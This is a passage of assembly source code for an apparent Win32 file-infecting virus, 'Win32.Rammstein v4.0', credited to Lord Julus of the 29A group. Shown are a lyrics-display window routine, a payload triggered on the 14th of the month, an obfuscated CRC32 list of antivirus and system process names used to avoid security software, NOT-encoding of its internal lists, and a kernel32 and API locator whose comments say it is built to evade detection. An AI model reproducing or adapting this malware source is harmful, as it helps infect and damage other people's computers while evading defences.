lea eax, [ebp+offset msg] ;
|
||
call [ebp+_DispatchMessageA], eax ; dispatch the message
|
||
;
|
||
jmp msg_loop ; do again
|
||
;
|
||
end_loop: ;
|
||
mov esi, [ebp+current] ;
|
||
@endsz ;
|
||
@endsz ;
|
||
lea eax, [ebp+offset text_end] ;
|
||
cmp esi, eax ;
|
||
jae finish_process ;
|
||
cmp [ebp+process_end], 1 ;did the victim finish?
|
||
je finish_process ;
|
||
mov [ebp+current], esi ;
|
||
jmp new_window ;
|
||
;
|
||
finish_process: ;
|
||
popa ;
|
||
ret ;
|
||
process_end dd 0 ;
|
||
;
|
||
;============================================================================
|
||
WndProc proc uses ebx edi esi,\ ; registers preserved
|
||
hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD ; parameters
|
||
LOCAL theDC:DWORD ;
|
||
;
|
||
call @@1 ;
|
||
@@1: ;
|
||
pop esi ;
|
||
sub esi, offset @@1 ;
|
||
;
|
||
cmp [wmsg], WM_PAINT ;
|
||
je wmpaint ;
|
||
cmp [wmsg], WM_DESTROY ; destory window
|
||
je wmdestroy ;
|
||
cmp [wmsg], WM_CREATE ; create window
|
||
je wmcreate ;
|
||
cmp [wmsg], WM_TIMER ;
|
||
jmp defwndproc ;
|
||
;
|
||
defwndproc: ;
|
||
call [esi+_DefWindowProcA], [hwnd], [wmsg], [wparam], [lparam] ; define
|
||
jmp finish ; the window
|
||
;
|
||
wmdestroy: ;
|
||
call [esi+_ShowWindow], [hwnd], SW_HIDE ;
|
||
call [esi+_KillTimer], [hwnd], [esi+htimer];
|
||
call [esi+_PostQuitMessage], 0 ; kill the window
|
||
xor eax, eax ;
|
||
jmp finish ;
|
||
;
|
||
wmpaint: ;
|
||
call [esi+_GetDC], [hwnd] ;
|
||
mov [theDC], eax ;
|
||
lea eax, [esi+offset lppaint] ;
|
||
call [esi+_BeginPaint], dword ptr [hwnd],\ ;
|
||
eax ;
|
||
push [esi+current] ;
|
||
call [esi+_lstrlen] ;
|
||
push eax ;
|
||
call [esi+_TextOutA], dword ptr [theDC], 1, 1,\
|
||
dword ptr [esi+current], eax;
|
||
pop eax ;
|
||
mov ebx, [esi+current] ;
|
||
add ebx, eax ;
|
||
inc ebx ;
|
||
push ebx ;
|
||
push ebx ;
|
||
call [esi+_lstrlen] ;
|
||
pop ebx ;
|
||
xor edx, edx ;
|
||
mov dx, [esi+textmetric.tmHeight] ;
|
||
call [esi+_TextOutA], dword ptr [theDC], 1, edx, ebx, eax
|
||
lea eax, [esi+offset lppaint] ;
|
||
call [esi+_EndPaint], dword ptr [hwnd], eax
|
||
jmp defwndproc ;
|
||
;
|
||
wmcreate: ;
|
||
lea eax, [esi+offset TimerProc] ;
|
||
call [esi+_SetTimer], dword ptr [hwnd], 1111h,\
|
||
dword ptr [esi+wintime],\ ;
|
||
eax ;
|
||
mov [esi+htimer], eax ;
|
||
jmp defwndproc ;
|
||
;
|
||
finish: ;
|
||
ret ;
|
||
WndProc endp ;
|
||
;
|
||
TimerProc proc uses ebx edi esi,\ ;
|
||
hwnd:DWORD, wmsg:DWORD, timerid:DWORD, dwtime:DWORD
|
||
;
|
||
call @@2 ;
|
||
@@2: ;
|
||
pop esi ;
|
||
sub esi, offset @@2 ;
|
||
;
|
||
mov eax, [esi+htimer] ;
|
||
cmp [timerid], eax ;
|
||
jne exittime ;
|
||
call [esi+_PostMessageA], [hwnd], WM_DESTROY, 0, 0
|
||
;
|
||
exittime: ;
|
||
ret ;
|
||
TimerProc endp ;
|
||
;
|
||
text_start: ;
|
||
noter <LA? MICH DEINE TRANE REITEN> ;
|
||
noter <UBERS KINN NACH AFRIKA> ;
|
||
;
|
||
noter <WIEDER IN DEN SCHOSS DER LOWIN> ;
|
||
noter <WO ICH EINST ZUHAUSE WAR> ;
|
||
;
|
||
noter <ZWISCHEN DEINE LANGEN BEINEN> ;
|
||
noter <SUCH DEN SCHNEE VOM LETZTEN JAHR> ;
|
||
;
|
||
noter <DOCH ES IST KEIN SCHNEE MEHR DA> ;
|
||
noter <..> ;
|
||
;
|
||
noter <LASS MICH DEINE TRANE REITEN> ;
|
||
noter <UBER WOLKEN OHNE GLUCK> ;
|
||
;
|
||
noter <DER GROSSE VOGEL SCHIEBT DEN KOPF> ;
|
||
noter <SANFT IN SEIN VERSTECK ZURUCK> ;
|
||
;
|
||
noter <ZWISCHEN DEINE LANGEN BEINEN> ;
|
||
noter <SUCH DEN SAND VOM LETZTEN JAHR> ;
|
||
;
|
||
noter <DOCH ES IST KEIN SAND MEHR DA> ;
|
||
noter <..> ;
|
||
;
|
||
noter <SEHNSUCHT VERSTECKT > ;
|
||
noter <SICH WIE EIN INSEKT> ;
|
||
;
|
||
noter <IM SCHLAFE MERKST DU NICHT> ;
|
||
noter <DA? ES DICH STICHT> ;
|
||
;
|
||
noter <GLUCKLICH WERD ICH NIRGENDWO> ;
|
||
noter <DER FINGER RUTSCHT NACH MEXIKO> ;
|
||
;
|
||
noter <DOCH ER VERSINKT IM OZEAN> ;
|
||
noter <SEHNSUCHT IST SO GRAUSAM> ;
|
||
;
|
||
noter <WOLLT IHR DAS BETT IN FLAMMEN SEHEN? > ;
|
||
noter <WOLLT IHR IN HAUT UND HAAREN UNTERGEHEN?>
|
||
;
|
||
noter <IHR WOLLT DOCH AUCH DEN DOLCH INS LAKEN STECKEN >
|
||
noter <IHR WOLLT DOCH AUCH DAS BLUT VOM DEGEN LECKEN >
|
||
;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
;
|
||
noter <IHR SEHT DIE KREUZE AUF DEM KISSEN > ;
|
||
noter <IHR MEINT EUCH DARF DIE UNSCHULD KUSSEN >
|
||
;
|
||
noter <IHR GLAUBT ZU TOTEN WARE SCHWER > ;
|
||
noter <DOCH WO KOMMEN ALL DIE TOTEN HER > ;
|
||
;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
;
|
||
noter <SEX IST EIN SCHLACHT > ;
|
||
noter <LIEBE IST KRIEG > ;
|
||
;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
noter <RAMMSTEIN!! RAMMSTEIN!! > ;
|
||
text_end: ;
|
||
list_len = $-offset text_start ;
|
||
;
|
||
wc STD_WINDOW <size STD_WINDOW,0,0,0,0,0,0,0,0,0,0,0>
|
||
wintime dd 4000 ;
|
||
hInst dd 0 ;
|
||
hAccel dd 0 ;
|
||
htimer dd 0 ;
|
||
ourhIcon dd 0 ;
|
||
newhwnd dd 0 ;
|
||
msg MSGSTRUCT <?> ;
|
||
r RECT <?> ;
|
||
lppaint PAINTSTRUCT <?> ;
|
||
textmetric TEXTMETRIC <?> ;
|
||
xmax dd 0 ;
|
||
ymax dd 0 ;
|
||
xlength dd 0 ;
|
||
ylength dd 0 ;
|
||
xpos dd 0 ;
|
||
ypos dd 0 ;
|
||
current dd 0 ;
|
||
hdc dd 0 ;
|
||
chars dd "Z"-"A"+2 dup (0) ;
|
||
szTitleName db 'Win32.Rammstein', 0 ;
|
||
szClassName db 'RAMMSTEIN', 0 ;
|
||
;
|
||
DefaultStyle = WS_OVERLAPPED+WS_VISIBLE ;
|
||
ExtendedStyle = WS_EX_TOPMOST ;
|
||
;
|
||
;==================================================;=========================
|
||
;
|
||
ValidateFile: ;
|
||
; ESI = pointer to filename ;
|
||
ret
|
||
pusha ;
|
||
lea eax, [ebp+VF_ExceptionExit] ; Setup a SEH frame
|
||
push eax ;
|
||
push dword ptr fs:[0] ;
|
||
mov fs:[0], esp ;
|
||
;
|
||
call [ebp+_lstrlen], esi ;get the filename length
|
||
cmp eax, 256 ;is it too big?
|
||
ja invalid_file ;
|
||
mov ecx, eax ;
|
||
;
|
||
push ecx ;uppercase the name
|
||
call [ebp+_CharUpperBuffA], esi, ecx ;
|
||
pop ecx ;
|
||
;
|
||
@endsz ;go to it's end
|
||
inc ecx ;
|
||
std ;
|
||
mov edi, esi ;and look backwards for
|
||
mov al,'\' ;the '\'
|
||
repnz scasb ;
|
||
mov esi, edi ;
|
||
or ecx, ecx ;
|
||
jz no_increase ;
|
||
inc esi ;if we found one, point it
|
||
inc esi ;
|
||
;
|
||
no_increase: ;
|
||
cld ;restore direction
|
||
lea edi, [ebp+offset avoid_list] ;our avoid list
|
||
;
|
||
search_next: ;
|
||
cmp byte ptr [edi], 0FFh ;last entry?
|
||
je all_names_ok ;
|
||
xor ebx, ebx ;
|
||
mov bl, [edi+4] ;get the name length
|
||
xor ecx, ecx ;
|
||
xchg byte ptr [esi+ebx], cl ;limit our string to the
|
||
push esi ;length with a 0
|
||
call StringCRC32 ;and compute a crc32 for
|
||
pop esi ;the piece...
|
||
xchg byte ptr [esi+ebx], cl ;restore filename
|
||
cmp eax, [edi] ;does it match?
|
||
je av_name_found ;
|
||
add edi, 5 ;get next...
|
||
jmp search_next ;
|
||
;
|
||
av_name_found: ;
|
||
invalid_file: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
popa ;
|
||
stc ;
|
||
ret ;
|
||
;
|
||
all_names_ok: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;
|
||
popa ;
|
||
clc ;
|
||
ret ;
|
||
;
|
||
VF_ExceptionExit: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
call DeltaRecoverVF ;
|
||
DeltaRecoverVF: ;
|
||
pop ebp ;
|
||
sub ebp, offset DeltaRecoverVF ;
|
||
jmp invalid_file ;
|
||
;
|
||
avoid_list: ;
|
||
crc32 <AV> ;
|
||
db 3 ;
|
||
crc32 <_AV> ;the list with filenames
|
||
db 3 ;to avoid
|
||
crc32 <ALERT> ;
|
||
db 5 ;
|
||
crc32 <AMON> ;
|
||
db 4 ;
|
||
crc32 <N32> ;
|
||
db 3 ;
|
||
crc32 <NOD> ;
|
||
db 3 ;
|
||
crc32 <NPSSVC> ;
|
||
db 6 ;
|
||
crc32 <NSCHEDNT> ;
|
||
db 8 ;
|
||
crc32 <NSPLUGIN> ;
|
||
db 8 ;
|
||
crc32 <TB> ;
|
||
db 2 ;
|
||
crc32 <F-> ;
|
||
db 2 ;
|
||
crc32 <AW> ;
|
||
db 2 ;
|
||
crc32 <AV> ;
|
||
db 2 ;
|
||
crc32 <NAV> ;
|
||
db 3 ;
|
||
crc32 <PAV> ;
|
||
db 3 ;
|
||
crc32 <RAV> ;
|
||
db 3 ;
|
||
crc32 <NVC> ;
|
||
db 3 ;
|
||
crc32 <FPR> ;
|
||
db 3 ;
|
||
crc32 <DSS> ;
|
||
db 3 ;
|
||
crc32 <IBM> ;
|
||
db 3 ;
|
||
crc32 <INOC> ;
|
||
db 3 ;
|
||
crc32 <ANTI> ;
|
||
db 3 ;
|
||
crc32 <SCN> ;
|
||
db 3 ;
|
||
crc32 <SCAN> ;
|
||
db 4 ;
|
||
crc32 <VSAF> ;
|
||
db 3 ;
|
||
crc32 <VSWP> ;
|
||
db 3 ;
|
||
crc32 <PANDA> ;
|
||
db 3 ;
|
||
crc32 <DRWEB> ;
|
||
db 3 ;
|
||
crc32 <FSAV> ;
|
||
db 3 ;
|
||
crc32 <SPIDER> ;
|
||
db 3 ;
|
||
crc32 <ADINF> ;
|
||
db 3 ;
|
||
crc32 <EXPLORER> ;
|
||
db 8 ;
|
||
crc32 <SONIQUE> ;
|
||
db 7 ;
|
||
crc32 <SQSTART> ;
|
||
db 7 ;
|
||
crc32 <SMSS> ;
|
||
db 4 ;
|
||
crc32 <OUTLOOK> ;
|
||
db 7 ;
|
||
crc32 <PSTORES> ;
|
||
db 7 ;
|
||
db 0FFh ;
|
||
;
|
||
;
|
||
not_list proc ;
|
||
____1: cmp [ebp+copying], 1 ;syncronization
|
||
je ____1 ;
|
||
mov [ebp+in_list], 1 ;
|
||
push esi edi ;this NOTs a list
|
||
mov edi, esi ;
|
||
not_byte: ;
|
||
lodsb ;
|
||
not al ;
|
||
stosb ;
|
||
loop not_byte ;
|
||
pop edi esi ;
|
||
mov [ebp+in_list], 0 ;
|
||
ret ;
|
||
not_list endp ;
|
||
in_list db 0 ;
|
||
;
|
||
brandom32 proc ;this bounds eax
|
||
push edx ;between 0 and eax-1
|
||
push ecx ;on random basis
|
||
mov edx, 0 ;
|
||
push eax ;
|
||
call random32 ;
|
||
pop ecx ;
|
||
div ecx ;
|
||
xchg eax, edx ;
|
||
pop ecx ;
|
||
pop edx ;
|
||
ret ;
|
||
brandom32 endp ;
|
||
;
|
||
random32 proc ;this is a random nr
|
||
push edx ;generator. It's a
|
||
call [ebp+_GetTickCount] ;modified version of
|
||
rcl eax, 2 ;some random gen I found
|
||
add eax, 12345678h ;someday and it had
|
||
random_seed = dword ptr $-4 ;some flaws I fixed...
|
||
adc eax, esp ;
|
||
xor eax, ecx ;
|
||
xor [ebp+random_seed], eax ;
|
||
add eax, [esp-8] ;
|
||
rcl eax, 1 ;
|
||
pop edx ;
|
||
ret ;
|
||
random32 endp ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
check_not proc ;
|
||
pusha ;Be sure not to let
|
||
lea esi, [ebp+list_of_lists] ;some of the lists
|
||
;un-NOTed in the
|
||
get_another: ;victim file
|
||
lodsd ;
|
||
or eax, eax ;
|
||
jz correct ;
|
||
add eax, [ebp+finaldestination] ;
|
||
cmp byte ptr [eax], NOT "L" ;
|
||
je no_problem ;
|
||
call wrong ;
|
||
;
|
||
no_problem: ;
|
||
add esi, 4 ;
|
||
jmp get_another ;
|
||
;
|
||
correct: ;
|
||
popa ;
|
||
ret ;
|
||
;
|
||
wrong: ;
|
||
pusha ;
|
||
push eax ;
|
||
lodsd ;
|
||
pop esi ;
|
||
mov ecx, eax ;
|
||
call not_list ;
|
||
popa ;
|
||
ret ;
|
||
check_not endp ;
|
||
;
|
||
list_of_lists label ;
|
||
dd offset direct_list - offset start, direct_list_len
|
||
dd offset file_extensions - offset start, file_extensions_len
|
||
dd offset av_list - offset start, av_list_len
|
||
dd 0 ;
|
||
;
|
||
KillThread: ;
|
||
IF VIRUSNOTIFYEXIT ;
|
||
push 0 ;
|
||
call exittext1 ;
|
||
db 'Rammstein viral code end!', 0 ;
|
||
exittext1: ;
|
||
call exittext2 ;
|
||
db 'Rammstein viral code end!', 0 ;
|
||
exittext2: ;
|
||
push 0 ;
|
||
call [ebp+_MessageBoxA] ;
|
||
ENDIF ;
|
||
|
||
IF PAYLOAD ;
|
||
lea eax, [ebp+time] ;
|
||
call [ebp+_GetSystemTime], eax ;
|
||
lea edi, [ebp+time] ;
|
||
cmp word ptr [edi.ST_wDay], 14d ;
|
||
jne no_payload ;
|
||
call DoPayload ;
|
||
;
|
||
no_payload: ;
|
||
ENDIF ;
|
||
;
|
||
IF MAINTHREADSEH ;
|
||
jmp restore_main_seh ;host
|
||
;
|
||
MainExceptionExit: ;if we had an error we
|
||
mov esp, [esp+8] ;must restore the ESP
|
||
;
|
||
restore_main_seh: ;
|
||
pop dword ptr fs:[0] ;and restore the SEH
|
||
add esp, 4 ;returning to the host...
|
||
;
|
||
call restore_delta ;
|
||
restore_delta: ;
|
||
pop ebp ;
|
||
sub ebp, offset restore_delta ;
|
||
;
|
||
just_kill_it: ;
|
||
ENDIF
|
||
mov eax, [ebp+_ExitThread] ;Exit the main thread
|
||
push 0 ;
|
||
call eax ;
|
||
|
||
;
|
||
; Safe Copro. Thanx to Prizzy for pointing me that the copro cannot be shared
|
||
; in the same process and need to be saved to keep compatibility!
|
||
|
||
InitCopro: ;
|
||
sub esp, 128 ;create space for copro
|
||
fwait ;data, wait for last to
|
||
fnsave [esp] ;finish and save...
|
||
finit ;initialize copro
|
||
jmp dword ptr [esp+80h] ;and return
|
||
;
|
||
RestoreCopro: ;
|
||
fwait ;wait to finish
|
||
frstor [esp+4] ;restore copro data
|
||
xchg eax, dword ptr [esp] ;now find out our return
|
||
xchg eax, dword ptr [esp+80h] ;address without altering
|
||
xchg eax, dword ptr [esp] ;eax, kill the copro space
|
||
add esp, 128 ;on the stack. One Dword
|
||
ret ;remains on the stack
|
||
;
|
||
EPO_Routine: ;
|
||
clc ;
|
||
ret ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Data area ;
|
||
test_semaphore dd 0 ;
|
||
W32FD WIN32_FIND_DATA <?> ;
|
||
time SYSTEMTIME <0> ;
|
||
memory dd 0 ;
|
||
free_routine dd AVAILABLE ;
|
||
version db 0 ;
|
||
newsize dd 0 ;
|
||
newraw dd 0 ;
|
||
situation dd 0 ;
|
||
DeltaRVA dd 0 ;
|
||
mainthreadid dd 0 ;
|
||
headersum dd 0 ;
|
||
checksumfile dd 0 ;
|
||
lowest_section_raw dd 0 ;
|
||
apihookfinish dd 0 ;
|
||
tempcounter dd 0 ;
|
||
fileopen dd 0 ;
|
||
Semaphore db "Win32.Rammstein", 0 ;
|
||
saved_code dd 0, 0 ;
|
||
mmx dd 0 ;
|
||
skipper db 0 ;
|
||
no_imports db 0 ;
|
||
totalsizes dd 0 ;
|
||
smallest_dir_va dd 0 ;
|
||
netapis dd 0 ;
|
||
ok dd 0
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
include get_apis.inc ;included files
|
||
include rammdata.inc ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
virussize = end-start ;
|
||
copyright db 'Win32.Rammstein.' ;
|
||
db virussize/10000 mod 10 + '0' ;
|
||
db virussize/01000 mod 10 + '0' ;
|
||
db virussize/00100 mod 10 + '0' ;
|
||
db virussize/00010 mod 10 + '0' ;
|
||
db virussize/00001 mod 10 + '0' ;
|
||
db ' v4.0', 10,13 ;
|
||
db '(c) Lord Julus - 2000 / [29A]',10,13 ;
|
||
MainThread endp ;
|
||
end2: ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
IF DEBUG ;
|
||
debug_end db 'Here is the end of the virus.',0 ;
|
||
ENDIF ;
|
||
end label ;
|
||
end start ;
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ
|
||
; Locating modules and their exported api addresses routines
|
||
;
|
||
; Deluxe V2.0 ;-)
|
||
;
|
||
; (C) Lord Julus / [29A]
|
||
;
|
||
; This includes the jp/lapse/vecna crc32 macro calculator and the api
|
||
; getter is modified to search for the crc32 instead of names. Saves space
|
||
; and makes it harder to detect.
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û Locate Kernel32 base address Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
;
|
||
; Entry: EAX = dword on stack at startup
|
||
; EDX = pointer to kernel32 name
|
||
;
|
||
; Return: EAX = base address of kernel32 if success
|
||
; EAX = 0, CF set if fail
|
||
|
||
LocateKernel32 proc near
|
||
pushad ; save all registers
|
||
call @800 ; ...I don't know why I
|
||
@800: pop ebx ; had to do this this way,
|
||
add ebx, delta3-@800+1 ; but it wouldn't work
|
||
mov dword ptr [ebx], ebp ; otherwise...
|
||
;
|
||
lea ebx, [ebp+try_method_2_error] ; first set up a seh
|
||
push ebx ; frame so that if our
|
||
push dword ptr fs:[0] ; first method crashes
|
||
mov fs:[0], esp ; we will find ourselves
|
||
; in the second method
|
||
locateloop: ;
|
||
cmp dword ptr [eax+0b4h], eax ; first method looks for
|
||
je found_k32_kill_seh ; the k32 by checking for
|
||
dec eax ; the equal dword at 0b4
|
||
cmp eax, 40000000h ;
|
||
jbe try_method_2 ;
|
||
jmp locateloop ;
|
||
;
|
||
found_k32_kill_seh: ; if we found it, then we
|
||
pop dword ptr fs:[0] ; must destroy the temp
|
||
add esp, 4 ; seh frame
|
||
mov [esp.pop_eax], eax ;
|
||
jmp found_k32 ;
|
||
;
|
||
try_method_2_error: ; if the first method gave
|
||
mov esp, [esp+8] ; and exception error we
|
||
delta3: mov ebp, 12345678h ; restore the stack and
|
||
; the delta handle
|
||
try_method_2: ;
|
||
pop dword ptr fs:[0] ; restore the seh state
|
||
add esp, 4 ;
|
||
popad ; restore registers and
|
||
pushad ; save them again
|
||
; and go on w/ method two
|
||
lea esi, [ebp+offset getmodulehandle] ;
|
||
mov ecx, getmodulehandlelen ;
|
||
call not_list ;
|
||
;
|
||
mov ebx, dword ptr [ebp+imagebase] ; now put imagebase in ebx
|
||
mov esi, ebx ;
|
||
cmp word ptr [esi], 'ZM' ; check if it is an EXE
|
||
jne notfound_k32 ;
|
||
mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE
|
||
cmp esi, 1000h ; too far away?
|
||
jae notfound_k32 ;
|
||
add esi, ebx ;
|
||
cmp word ptr [esi], 'EP' ; is it a PE?
|
||
jne notfound_k32 ;
|
||
add esi, IMAGE_FILE_HEADER_SIZE ; skip header
|
||
mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
|
||
add edi, ebx ; and get import RVA
|
||
mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
|
||
add ecx, edi ; and import size
|
||
mov eax, edi ; save RVA
|
||
;
|
||
locateloop2: ;
|
||
mov edi, dword ptr [edi.ID_Name] ; get the name
|
||
add edi, ebx ;
|
||
xor dword ptr [edi], 'ö' ;
|
||
cmp dword ptr [edi], 'NREK' xor 'ö' ; and compare to KERN
|
||
xor dword ptr [edi], 'ö' ;
|
||
je found_the_kernel_import ; if it is not that one
|
||
add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc.
|
||
mov edi, eax ;
|
||
cmp edi, ecx ; but not beyond the size
|
||
jae notfound_k32 ; of the descriptor
|
||
jmp locateloop2 ;
|
||
;
|
||
found_the_kernel_import: ; if we found the kernel
|
||
mov edi, eax ; import descriptor
|
||
mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to
|
||
add esi, ebx ; addresses
|
||
mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
|
||
add edi, ebx ; names
|
||
;
|
||
gha_locate_loop: ;
|
||
push edi ; save pointer to names
|
||
mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk
|
||
add edi, ebx ;
|
||
add edi, 2 ; and skip the hint
|
||
;
|
||
push edi esi ; save these
|
||
lea esi, dword ptr [ebp+getmodulehandle] ; and point the name of
|
||
mov ecx, getmodulehandlelen ; GetModuleHandleA
|
||
rep cmpsb ; see if it is that one
|
||
je found_getmodulehandle ; if so...
|
||
pop esi edi ; otherwise restore
|
||
;
|
||
pop edi ; restore arrays indexes
|
||
add edi, 4 ; and skip to next
|
||
add esi, 4 ;
|
||
cmp dword ptr [esi], 0 ; 0? -> end of import
|
||
je notfound_k32 ;
|
||
jmp gha_locate_loop ;
|
||
;
|
||
found_getmodulehandle: ;
|
||
pop esi ; restore stack
|
||
pop edi ;
|
||
pop edi ;
|
||
;
|
||
lea esi, [ebp+offset getmodulehandle] ;
|
||
mov ecx, getmodulehandlelen ;
|
||
call not_list ;
|
||
;
|
||
push edx ; push kernel32 name
|
||
mov esi, [esi] ; esi = GetModuleHandleA
|
||
call esi ; address...
|
||
mov [esp.pop_eax], eax ;
|
||
or eax, eax ;
|
||
jz notfound_k32 ;
|
||
;
|
||
found_k32: ;
|
||
popad ; restore all regs and
|
||
clc ; and mark success
|
||
ret ;
|
||
;
|
||
notfound_k32: ;
|
||
popad ; restore all regs
|
||
xor eax, eax ; and mark the failure...
|
||
stc ;
|
||
ret ;
|
||
LocateKernel32 endp ;
|
||
@900 dd 0
|
||
|
||
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
|
||
;Û Locate Apis Û
|
||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
|
||
;
|
||
; Entry: EAX = base of module
|
||
; ESI = pointer to API name crc32 array
|
||
; EDX = pointer to array to receive API addresses
|
||
; ECX = how many apis to import
|
||
;
|
||
; Return: EAX = 0, CF set if fail
|
||
|
||
LocateApis proc near ;
|
||
pushad ;
|
||
mov [ebp+@901], ecx ;
|
||
;
|
||
push esi ;
|
||
push edx ;
|
||
mov ebx, eax ; save the module base
|
||
mov edi, eax ;
|
||
mov ax, word ptr [edi] ;
|
||
xor ax, '' ;
|
||
cmp ax, 'ZM' xor '' ; is it an exe?
|
||
jne novalidmodule ;
|
||
;
|
||
mov edi, dword ptr [edi.MZ_lfanew] ;
|
||
cmp edi, 1000h ;
|
||
jae novalidmodule ;
|
||
;
|
||
add edi, ebx ;
|
||
mov ax, word ptr [edi] ;
|
||
xor ax, 'ñ' ;
|
||
cmp ax, 'EP' xor 'ñ' ; is it a PE?
|
||
jne novalidmodule ;
|
||
;
|
||
add edi, IMAGE_FILE_HEADER_SIZE ; skip file header
|
||
;
|
||
mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
|
||
add edi, ebx ; and get export RVA
|
||
;
|
||
mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names
|
||
; to look into
|
||
mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names
|
||
add esi, ebx ; align to base rva
|
||
mov [ebp+@903], edi ;
|
||
;
|
||
pop edx ;
|
||
pop edi ;
|
||
;
|
||
api_locate_loop: ;
|
||
push ecx esi ; save counter and addr.
|
||
;
|
||
push edi ;
|
||
mov edi, [esi] ; get one name address
|
||
add edi, ebx ; and align it
|
||
;
|
||
mov esi, edi ;
|
||
call StringCRC32 ;
|
||
;
|
||
pop edi ;
|
||
push edi ;
|
||
xor ecx, ecx ;
|
||
;
|
||
rep_cmp: ;
|
||
cmp dword ptr [edi], 0 ;
|
||
je continue_search ;
|
||
cmp [edi], eax ;
|
||
je apifound ;
|
||
inc ecx ;
|
||
add edi, 4 ;
|
||
jmp rep_cmp ;
|
||
;
|
||
continue_search: ;
|
||
pop edi esi ecx ; restore them
|
||
;
|
||
add esi, 4 ; and get next name
|
||
loop api_locate_loop ;
|
||
;
|
||
novalidmodule: ; we didn't find it...
|
||
popad ;
|
||
xor eax, eax ; mark failure
|
||
stc ;
|
||
ret ;
|
||
;
|
||
apifound: ;
|
||
mov [ebp+@904], ecx ;
|
||
pop edi esi ecx ; ecx = how many did we
|
||
push ecx esi ;
|
||
push edi ;
|
||
mov edi, [ebp+@903] ;
|
||
sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder
|
||
neg ecx ; of the search
|
||
mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
|
||
add eax, ebx ;
|
||
shl ecx, 1 ; and look using the index
|
||
add eax, ecx ;
|
||
xor ecx, ecx ;
|
||
mov cx, word ptr [eax] ; take the ordinal
|
||
mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
|
||
add eax, ebx ;
|
||
shl ecx, 2 ; we look in a dword array
|
||
add eax, ecx ; go to the function addr
|
||
mov eax, [eax] ; take it's address
|
||
add eax, ebx ; and align it to base
|
||
